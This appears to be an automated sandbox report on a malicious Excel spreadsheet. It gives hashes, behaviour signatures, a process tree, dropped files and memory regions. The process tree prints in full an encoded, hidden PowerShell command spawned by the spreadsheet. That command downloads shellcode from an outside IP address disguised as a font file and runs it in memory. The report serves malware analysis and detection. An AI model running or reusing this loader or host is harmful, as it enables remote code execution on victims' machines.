Analysis

  • max time kernel
    35s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 22:02

General

  • Target

    1b492296522768350c056d852e9a728bdcd8e13a3158e2a4153a3015395c2594.xls

  • Size

    46KB

  • MD5

    a3d7a510ea532c4891ea21a29e0c66bb

  • SHA1

    c5dbf470aec1f29ed239cc7aa1c471ab343909ca

  • SHA256

    1b492296522768350c056d852e9a728bdcd8e13a3158e2a4153a3015395c2594

  • SHA512

    52383dc88ad45dd62c8b77d38fafe78e1f7377efc939632106b1c043505572ecc78fd5b06f8172ce68dbd09961c05342329b71016aa703fb2b8d5b428cd1e5f9

  • SSDEEP

    768:v4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:wSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1b492296522768350c056d852e9a728bdcd8e13a3158e2a4153a3015395c2594.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3544
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fn04oj2f\fn04oj2f.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4816
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC062.tmp" "c:\Users\Admin\AppData\Local\Temp\fn04oj2f\CSCBECD2858FC114E5DAE54E8805167893.TMP"
          4⤵
            PID:2616

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RESC062.tmp

      Filesize

      1KB

      MD5

      43f016c84e8a7b3593e537a400366f63

      SHA1

      cf7c1f7066cce68831b8949426994cc589d17d5f

      SHA256

      eda38949982f16981d9b22952e25afb7e2dba4ad7c064c721565cf93dff912ed

      SHA512

      dbbb7a04b40eb45abf8d4d32609b0d0f090004b02083672b5e7eab8c2c527bd0ef3284ccb74b2a5180b2e8650b3ed494d8c24089b2c1ba7cbd01944f68242776

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4v0wkrps.czo.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\fn04oj2f\fn04oj2f.dll

      Filesize

      3KB

      MD5

      0638ee000b2b3b962ad294e3b222d079

      SHA1

      3daa0db1ebf0f2e3b5d1c00e2bcd46deb2dd7a27

      SHA256

      f031db0fbe8759f7bc0c517bdc0051bb995afed6e069d390e9d106c78be91420

      SHA512

      ecc33604fb0efe0112f7324b6d916a4e83f1c81e26aa9d90b875b8ecd9b782fb154d2207fad8217c61a7e1df9cc68915c9286326fb2b50f70fcbf3312f1b0906

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      Filesize

      1KB

      MD5

      67fad3f8696eafb0a59036a58dfc948c

      SHA1

      734b794ae1a2c6ea5952be0b52041c235ef865fe

      SHA256

      11b38f88fce48f74d5fe96cd742a93b919a5ba0f50ec9055f426de5c85bd262e

      SHA512

      c9f5e876551dace24d14f70584ee195782c95d6046c323c879e3ae78adde6d811c5102acb0a1d5874849d88b75b383fe0471ec3edef6f71f4b1e0c9cbc834a51

    • \??\c:\Users\Admin\AppData\Local\Temp\fn04oj2f\CSCBECD2858FC114E5DAE54E8805167893.TMP

      Filesize

      652B

      MD5

      68bdf6bb3c4a442c29a3d0888bbad20b

      SHA1

      99bbf44538121c96efbb12588ed32d36d0199658

      SHA256

      220cecfb814b3fcd1c668220d0c93fea93c00bcac269142b874e38eed2df64de

      SHA512

      42f0bc1c56a25a9a727085e52a4334032bdefe0fee1541810ae6bb5b9307c62e63fa7802f444d9a7950aae13ae61b152a1cc85b399a9df553fdea7afdb72006a

    • \??\c:\Users\Admin\AppData\Local\Temp\fn04oj2f\fn04oj2f.0.cs

      Filesize

      631B

      MD5

      f4dd5c682eb7b3b679f084261bfc7c4c

      SHA1

      70f75d7a4e42c185eb09139ed3c6f7338a2219c2

      SHA256

      2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

      SHA512

      8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

    • \??\c:\Users\Admin\AppData\Local\Temp\fn04oj2f\fn04oj2f.cmdline

      Filesize

      369B

      MD5

      50ee696a67852204734cd52792ee3ee1

      SHA1

      8f0c98527dbf8cfb1a2c5f4c2c3c984bf12e61ac

      SHA256

      f02df8e0abb577b617ed915df45fde5d8ec211e004bdd6615f231d8ac66a59d5

      SHA512

      779f482b226d20d4a9681b9907bb4bd8b587d62a29dc7c45585c0aaf30bf6e3034dea43ff5b21a8df5817f7db7bbf9471d1bea403e0c2acf103466350eee5da5

    • memory/3544-34-0x0000022579730000-0x0000022579752000-memory.dmp

      Filesize

      136KB

    • memory/3544-56-0x0000022579800000-0x0000022579808000-memory.dmp

      Filesize

      32KB

    • memory/4988-12-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-0-0x00007FFB96E30000-0x00007FFB96E40000-memory.dmp

      Filesize

      64KB

    • memory/4988-8-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-15-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-16-0x00007FFB94C70000-0x00007FFB94C80000-memory.dmp

      Filesize

      64KB

    • memory/4988-7-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-6-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-18-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-19-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-17-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-5-0x00007FFB96E30000-0x00007FFB96E40000-memory.dmp

      Filesize

      64KB

    • memory/4988-28-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-14-0x00007FFB94C70000-0x00007FFB94C80000-memory.dmp

      Filesize

      64KB

    • memory/4988-10-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-13-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-11-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-9-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-4-0x00007FFB96E30000-0x00007FFB96E40000-memory.dmp

      Filesize

      64KB

    • memory/4988-2-0x00007FFB96E30000-0x00007FFB96E40000-memory.dmp

      Filesize

      64KB

    • memory/4988-3-0x00007FFB96E30000-0x00007FFB96E40000-memory.dmp

      Filesize

      64KB

    • memory/4988-58-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-61-0x00007FFBD6E4D000-0x00007FFBD6E4E000-memory.dmp

      Filesize

      4KB

    • memory/4988-62-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-63-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-67-0x00007FFBD6DB0000-0x00007FFBD6FA5000-memory.dmp

      Filesize

      2.0MB

    • memory/4988-1-0x00007FFBD6E4D000-0x00007FFBD6E4E000-memory.dmp

      Filesize

      4KB